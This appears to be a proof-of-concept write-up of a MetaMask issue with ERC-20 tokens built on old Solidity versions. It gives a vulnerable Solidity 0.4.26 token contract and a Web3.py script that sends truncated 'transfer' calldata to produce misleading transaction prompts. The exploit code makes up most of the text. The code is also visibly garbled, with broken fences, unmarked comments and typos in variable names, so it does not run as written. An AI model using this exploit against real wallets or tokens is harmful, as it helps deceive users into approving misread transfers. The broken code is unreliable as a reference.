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Set Up the Environment

- -Solidity Compiler.
- -Ethereum Development Environment: Truffle or Hardhat.
- -Test Ethereum Network.
- -MetaMask Wallet.

Compile and Deploy a Vulnerable ERC-20 Contract Create a Solidity contract for example ERC-20 contract: solidity pragma solidity ^0.4.26;

```
contract VulnerableToken {
  string public name = "VulnerableToken";
  string public symbol = "VTK";
  uint8 public decimals = 18;
  uint256 public totalSupply = 1000000 * (10 ** uint256(decimals));
  mapping (address => uint256) public balanceOf;
  event Transfer(address indexed from, address indexed to, uint256 value);
  constructor() public { balanceOf[msg.sender] = totalSupply;
```

Vulnerability Overview:

1. Vulnerability in MetaMask when interacting with ERC-20 tokens compiled with Solidity versions < 0.5.0.

2. Exploits leniency in input calldata length validation, allowing malicious actors to craft deceptive transactions

Steps to Reproduce:

1. Deploy a vulnerable ERC-20 token contract using Solidity 0.4.26.
2. Initiate a malformed transaction using truncated calldata.
3. Connect MetaMask to observe the misleading transaction prompts.

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```
function transfer(address _to, uint256 _value)
public returns (bool success) {
require( to != address(0));
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[ to] += value;
emit Transfer(msg.sender, _to, _value); return true;
}
}
Compile and Deploy:
Using Truffle: sh truffle init truffle compile truffle migrate --network
Using Hardhat: sh npx hardhat compile npx hardhat run --network scripts/deploy.js
Create a Malformed Transaction
Write a script to craft a truncated transaction. Here's a Python example using Web3.py:
python
from web3 import Web3
Connect to Networt
web3=Web3(Web3.HTTPProvider(network_url))
Wallet and contract details
from_address = "YOUR_WALLET_ADDRESS"
private key = "YOUR PRIVATE KEY"
contract_address = "DEPLOYED_CONTRACT_ADDRESS"
Construct the malicious calldata
malicious_calldata = (
"0xa9059cbb" # Function signature for transfer(address, uint256)
000000000000000000000000C588e338FdBB2CC523a1177f3D18e87FF5A16a6b" # 'to'
address
# 'value' (truncated)
```

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Create the transaction

```
tx = {
'to': contract_address,
'value': 0, 'gas': 200000,
'gasPrice': web3.toWei('10', 'gwei'),
'nonce': web3.eth.getTransactionCount(from_address),
'data': malicious_calldata
}
Sign the transaction
```

signed_tx = web3.eth.account.sign_transaction(tx, private_key)

Send the transaction

tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) print(f"Transaction sent: {web3.toHex(tx_hash)}")